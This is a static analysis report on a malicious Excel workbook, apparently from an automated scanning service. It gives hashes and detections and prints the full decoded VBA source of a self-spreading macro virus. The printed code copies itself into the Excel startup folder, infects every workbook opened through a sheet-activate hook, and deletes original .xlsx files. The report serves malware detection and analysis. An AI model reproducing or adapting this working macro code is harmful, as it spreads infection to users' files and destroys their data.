Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 b147e61cff1c4f05…

MALICIOUS

Office (OLE) / .XLS

47.0 KB Created: 2024-09-16 07:16:35 Authoring application: Microsoft Excel First seen: 2026-06-15
MD5: bfd2773935c178e7a79da3ee10ca466d SHA-1: ee9ac8e2acadfe7c0aeabe022358733391bb6464 SHA-256: b147e61cff1c4f05d741cf0943bcae83c95a7a6525b3381f9b58dae4455db63f
176 Risk Score

Heuristics 6

  • ClamAV: Xls.Malware.ExcelSic-10005885-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.ExcelSic-10005885-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Auto_Close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1468 bytes
SHA-256: 4c80a51dff8e89db22f2e6c78037f388a3527ca02f52aabc1f53347ab9288bc5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs FileName:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs FileName:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    Application.ScreenUpdating = True
 
 
 
 End If
End Sub